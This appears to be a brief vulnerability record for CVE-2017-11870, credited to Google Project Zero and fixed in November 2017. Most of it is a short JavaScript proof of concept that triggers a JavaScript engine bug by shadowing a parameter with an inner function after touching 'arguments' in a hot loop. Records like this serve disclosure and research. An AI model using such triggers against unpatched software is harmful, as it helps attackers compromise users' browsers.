CVE-2017-11870.md

CVE-2017-11870

• Fix: Nov 2017
• Credit: lokihardt of Google Project Zero

PoC

function f(x) {
    arguments;

    {
        function x() {
        }
    }
}

for (let i = 0; i < 10000; i++)
    f();

Reference

• Microsoft
• Google Project Zero
• Fix